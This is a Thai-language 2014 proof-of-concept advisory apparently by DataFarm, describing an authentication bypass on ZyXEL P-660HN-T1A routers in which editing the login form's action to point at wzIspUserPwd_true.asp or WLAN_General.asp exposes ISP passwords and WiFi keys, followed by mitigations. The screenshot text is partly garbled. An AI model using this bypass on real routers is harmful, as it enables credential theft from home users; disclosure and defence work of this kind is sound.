

PROOF OF CONCEPT ZYXEL BYPASS AUTHENTICATION

BY AUDITZ

14/03/2014

DATAFARM CO., LTD.

HTTP://WWW.DATAFARM.CO.TH

ZYXEL BYPASS AUTHENTICATION

ZyXEL คือยี่ห้อเร้าเตอร์ ที่ผู้ให้บริการ Internet ความเร็วสูง (ADSL) หลายๆบริษัทเลือกใช้ เพื่อ ให้บริการลูกค้า ดังนั้น โดยส่วนมากแทบทุกบ้านที่ใช้บริการ Internet ความเร็วสูง (ADSL) จะต้องใช้เร้าเตอร์ ยี่ห้อ ZyXEL

Bypass authentication คือ เป็นการเข้าถึงไฟล์หรือโฟลเดอร์ ที่มีการกำหนดสิทธิ์ โดยอาศัยวิธีการ ต่างๆ แม้จะไม่มีสิทธิ์ในการเข้าถึง เช่น นาย ก เป็นเจ้าของตู้เซพ แต่นาย ข สามารถเข้าถึงตู้เซพนั้น โดยอาศัย วิธีการต่างๆ โดยไม่ผ่านนาย ก ซึ่งเป็นเจ้าของตู้เซพ

Zyxel bypass authentication หมายถึง สามารถเข้าถึงไฟล์สำคัญๆ แม้ไม่ใช่ admin ตัวอย่างเช่น ผู้ ที่ไม่มีพาส admin ก็สามารถเข้าถึงไฟล์ ที่เก็บ Username และ Password ของ Internet ของเราได้ (สามารถ เอารหัส ของเราไปต่อเน็ตที่ไหนก็ได้) และสามารถเข้าถึง ไฟล์ที่เป็นการตั้งค่า ของ WIFI เราได้ ดังนั้น ก็ สามารถเห็น รหัสผ่าน WIFI เราได้ แม้จะตั้งค่าเป็น WPA2 แล้วก็ตาม

SEVERITY: HIGH

PROOF OF CONCEPT (POC)

1. ZYXEL DEFAULT AUTHENTICATION

ทดสอบเข้าหน้าเว็บ ผ่านไอพี 192.168.1.1 (ภาพ2)ซึ่งปกติแล้วค่าที่ทาง ผู้ให้บริการ Internet ความเร็วสูง ตั้ง จะเป็นค่านี้เสมอ (<u>ในกรณี Hacker โจมตี สามารถเข้าผ่าน IP ของท่านจากภายนอก และจัดการได้ตาม ที่จะ</u> <u>POC</u>) หรือพิมพ์คำสั่ง ipconfig สำหรับ windows (ifconfig สำหรับ linux) เพื่อที่จะดู gateway ดังภาพ1



ภาพ1 แสดง การดู Default Gateway

เมื่อเข้าผ่านหน้าเว็บ ในกรณีถ้าเร้าเตอร์รุ่นเดียวกับที่ใช้ POC ก็จะขึ้นหน้าเว็บดังภาพ2 ซึ่งจะต้องรู้ Password สำหรับ Login ถึงจะเข้าไปจัดการในระบบ ของเร้าเตอร์ได้

Mozilla Firefox ม แก้ไข ฐมามอง ปูเทวิลี ที่ค้างหว่า แล้โองมือ ฐายเหลือ	(Trans and		- C - x
http://192.168.1.1/cgi-bin/authorize.asp +	and the second se	A = A B - Grante	0 1 4 4
	ZyXEL ZyXEL P-660HH-TIA		
	Welcome to your router Configuration Interface Enter password and click to login.		

ภาพ2 แสดงให้เห็นว่า ในการเข้าถึงการจัดการเร้าเตอร์หน้าเว็บต้อง login ก่อนทุกครั้ง

แต่ช่องโหว่มันเกิดขึ้น คือไม่ต้องรู้พาส ที่ถูกต้องแม้จะใส่พาสไปมั่วๆ ก็สามารถเข้าถึงไฟล์ที่เป็นข้อมูลสำคัญ ได้ โดยในที่นี้ ขอยกตัวอย่าง ให้ดูพอให้เข้าใจ เมื่อทดสอบใส่พาสเวิด คือ noob ในการ login ก็ไม่สามารถผ่านการ ยืนยันตัวตนได้ เพราะ พาสเวิดที่ใส่ไปไม่ถูกต้อง ดังภาพ 3

Mozile Fretz Mozile Fretz Mozile Fretz Mozile Stretz Mozile Stretz Mozile Stretz			
€ @ 192.168.1.1/cgi-bin/authorize.asp		습 후 C 🛛 🔂 - Googie	P ♣ ☆ ♥ •
ZyXEL			
	ZyXEL P-	560HN-T1A	
Welcom	ne to your route	r Configuration Interfece	
e Ş Passwor	Enter password rd:	and click to login.	
	Login	Cancel	
		Untitled - Notepad	
		File Edit Format View Help Password pools (but not real password))	A.
			s

จากนั้น ผมได้พบไฟล์ ที่หน้าสนใจ เพราะเป็นไฟล์ที่เก็บค่า username และ password ของผู้ใช้งาน Internet ชื่อไฟล์คือ wzIspUserPwd_true.asp ซึ่งไฟล์นี้หาได้จากการ telnet เข้าไปที่เร้าเตอร์ จากนั้นก็ ดูรายชื่อไฟล์ ดังภาพ4

Mark Telnet 192.168.1.1		x
rtForward.cgi	rpPanel.asp	
rtForwarding.asp	rpRManage.asp	
rtForwarding_Edit.asp	rpSys.asp	
bootSucc.asp	rpSysAdmin.asp	
mMagDNS.asp	rpSysReboot.asp	
mMagFTP.asp	roTimeZone.asv	
mMagMISC.asp	roUPNP.asp	
mMagSNMP.asp	top.asp	
mMagWWW_asn	tree is	1
storeCfg_asn	urlFilter.asn	
storeSuccasn	uiewlnas.cai	
ue asn	ulangroup table cgi	
winduthowize asn	WanRemoteNode asp	
aticRoute asn	wanNemoteNode.cgj	
aticRouteFotwu asn	wannemoteNode Edit asn	
atioRouto table cai	wannemoteNode_Edit Odu asp	
eulog asp	wannemotenoue_cuit_nuv.asp wzEvistAccount_twwe_asp	
anGwounSetting asn	wzExistenceount_true.asp	
androupsetting.asp	warinish.asp	
anrorcseccing.asp	azrirst.asp	
	W21sposerrwu_true.asp	
M_HAV.ASP AN ADB:14 Ed:4	W ManualConnect_true. asp	
AN_HPF11ter_Ealt.asp	WZWHM_DetDisplay.asp	
HN_Hav.asp	wzWHN_DetFrame.asp	
AN_Association_list.cgi	wzWAN_DetResult.asp	
AN_Association_list.rar	wzWAN_DetectFail.asp	
AN_General.asp	wzWAN_ManualCfg.asp	
AN_MoreAP.asp	wzWAN_PPP.asp	
AN_MoreAPFilter_Edit.asp	wzWAN_Iest.asp	
AN_MoreAP_Edit.asp	wzWAN_TestResult.asp	
AN_MoreAP_Edit_submit.asp	wzWAN_Tested.asp	
AN_Scheduling.asp	wzWLAN_Cfg.asp	
AN_WDS.asp	wzWLAN_General.asp	
AN_WPS.asp	wzWLAN_Note.asp	
AN_WPS_Station.asp	wzWLAN_WEP.asp	
AN_WPS_Station_frame.asp	wzWLAN_WPA.asp	
AN_WPS_Status_detect.asp	wzWait2_true.asp	
AN_WPS_Wait.asp	wzWait3_true.asp	
AN_WPS_Wait_Prev.asp	wzWelcome_true.asp	
AN_WPS_Wait_Status.asp	wzWiFi_true.asp	
AN WPS Wait frame.asp	······································	
_		

ภาพ4 แสดงรายชื่อไฟล์ที่อยู่บนเร้าเตอร์

จากการทดสอบเมื่อทราบว่ามีไฟล์นี้มีอยู่จริง และนำไฟล์นี้ไปวางแล้วคลิกผ่านหน้าเว็บปกติธรรมดา จะไม่ สามารถเข้าถึงไฟล์ดังกล่าวได้ เพราะเร้าเตอร์มีการตั้งค่าความปลอดภัย ต้องมีการยืนยันตัวตน ก่อนเสมอถึง จะสามารถเข้าถึงไฟล์ดังกล่าวได้ ดังภาพ 5

http://192.168.1.1/cgi-bin/authorize.asp +	P+C Property P	
I 192.168.1.1/cgi-bin/wzIspUserPwd_true.asp		⊽ → 🛛 🔁 ד Google
	ZyXEL	
	ZyXEL P-660HN-T1A	
	Welcome to your router Configuration Interface	
	Enter password and click to login.	
	Login Cancel	

ภาพ6 เมื่อทดสอบเรียกไฟล์ตรงๆ ไม่สามารถเข้าถึงไฟล์ได้ ต้องมีการยืนยันตัวตนทุกครั้งเสมอ

หลังจากนั้นได้ทำการแก้ไข ค่าให้มีการเรียกหน้าเว็บใหม่ เมื่อมีการใส่ค่า password โดยตัวอย่างดังภาพ 7

👹 Mozilla Firefox แต่น แต่ได นอกอง น่องนี้ นี้ประเท้า เครื่องถือ ต่างแน่โล		
age units general general ingeneral general general general and the general gen		
S P S 19/10811/cg-bin/suthorize.sp	Til ≠ C loogle	<u></u> _+ # # ₩1*
ZyXEL		
ZvYEL D-	660HN-T1A	
Welcome to your route	r Configuration Interface	
Enter password	and click to login.	
ਊ Password:		
	Count	
Login	Cancer	
P P Carrola HTML - CSS Societ DOM Not Capitar	P	RA
	, r	
(a) Lotte 100 (100 < tr < 100 cg < table < to < tr < 100 cg < table < to < tr < 100 cg < table < to < tr < 100 cg < table < to < tr < 100 cg < table < to < t		Style Computed Layout DO
e <norse B died></norse 		color: #000000;
a dodyż z zkrane w tenen " (on kie E wienku therize zm" matkadu "part" azwes" u therizeform " form"		font-family: Verdana_Arial.Helvetica.sans-serif:
Contraction / (groups angle under each post name - subral usion norm - 7		font-size: 11px;
$\langle \phi \rangle \langle \phi \rangle$		E }
Net Set Set Set Set Set Set Set Set Set S		Inherited from td
		td { control.css (line 10)
Sec Spin Spine Sp		fort-family:
 kody>		 Verdana, Arial, Helvetica, sons serif; Font size: 11px;
x		

ภาพ7 แก้ค่าการเรียกค่าหน้าเว็บ โดยใช้โปรแกรม firebug

ซึ่งค่าปกติ ของเร้าเตอร์ที่มีการตั้งไว้ เมื่อมีการใส่ พาสเวิด แล้วคลิกปุ่ม Login จะมีการเรียกไปที่หน้าเพจ SavingAuthorize.asp นี้เสมอ จากการทดสอบ เมื่อแก้ไขค่าดังกล่าว จาก SavingAuthorize.asp เป็นค่า wzIspUserPwd_true.asp และ พาสเวิด ก็ใส่พาสมั่วๆ แล้วกดปุ่ม Login ปรากฏว่า สามารถเข้าถึงไฟล์ wzIspUserPwd_true.asp โดยไม่ต้องยืนยันตัวตนที่ถูกต้อง

ค่าที่แก้ไข ปกติคือ

<form action="/cgi-bin/SavingAuthorize.asp" method="post" name="authorizeform" form="">

แก้ไขค่าเป็น

<form action="/cgi-bin/ wzlspUserPwd_true.asp " method="post" name="authorizeform"



ภาพ8 แสดงการถึงไฟล์ wzIspUserPwd_true.asp และเห็นรายละเอียด Username & Password

และสามารถเข้าถึงไฟล์อื่น ยกตัวอย่างเช่นไฟล์ WLAN_General.asp ซึ่งเป็นไฟล์กำหนดการตั้งค่า WIFI ดังนั้น พาสเวิด แม้จะมีการตั้งยากแค่ไฟล์ เข้ารหัสแบบ WPA2 อย่างไรก็ตาม ก็สามารถเห็น พาสเวิด ได้ ดัง ภาพ9

192 158 1 1/crii-bin/W/ AN General asn	$\sqrt{2} \equiv \sigma^4 \mathbb{R}_{\pi}$ Consis	
C Drawing of the Hold Container	∐ - e ∐∎ onder	
AP WPS WPS Station WDS Scheduling		
Wireless Setup		
Enable Wireless LAN		
Channel Selection	08 - Current Channel: 6	
	a A A A A A A A A A A A A A A A A A A A	
Common Setup		
Name(SSID)	Yama-Use-Free	
Hide SSID		
Security Mode	WPA2-PSK -	
Encryption	TKIP 🔹	
WPA Compatible		
Pre-Shared Key		
WPA Group Key Update Timer		
MAC Filter	Deny Association Edit	
QoS	Enable QoS	
	Apply Cancel Advanced Setup	

ภาพ9 แสดงรายละเอียดหน้า WLAN_General.asp และ Password WIFI

เบื้องต้นข้าพเจ้าทดสอบเพิ่มอีก WAN.asp , rpSysAdmin.asp ซึ่งสามารถใช้วิธีการเดียวกันเข้าถึงได้เลย

<u>แนวทางการป้องกัน</u>

1. เปิดใช้งาน Firewall ที่ตัวเร้าเตอร์ของท่าน (เพื่อไม่ให้ไอพีจากภายนอกเข้าถึงเร้าเตอร์เราได้)

ดังภาพ 10

File Edit View Executes Tools Help ZyXEL	
ZyXEL	
	- 2
> Security > Firewall	
Status Frewall	
Frewall	
Ketwork Frevall Forbed Forb	
P Security Firewall	
Titler	
State Route	
Port Binding	
802.10	
pos	
Remote MONT	
l unne la	
LandingPage	

ภาพ 10 แสดงการ เปิด firewall ที่เร้าเตอร์

- 2. อัพเกรด firmware จากผู้ให้บริการ
- กำหนดการเข้าถึงใช้งานหน้าเว็บ เฉพาะ LAN ดังภาพ 11

(=) (=)	81.1/cgi-bin/rpSys.asp $D accel{eq:sphere:s$
File Edit View Favori	tes Tools Help
ZyXEL	
	Advanced > Remote MGMT > WWW
Status	WWW Telnet FTP SNMP DNS ICMP
	www
P-660HN-T1A	
	Server Access
LAN	Secured Client IP Address
Wireless LAN	🐧 Note :
NAT	1: For UPPP to function normally, the HTTP service must be available for LAN computers using UPnP.
Security	
Firewall	Apply Reset
Filter	
Advanced	
- Static Route	
- Port Binding	
-802.1Q	
QoS	
Dynamic DNS	
- Remote MGMT	
UPnP	
LandingPage	
He Maintenance	

ภาพ 11 แสดงการ กำหนดสิทธิ์ให้เข้าถึงหน้าเว็บได้เฉพาะ LAN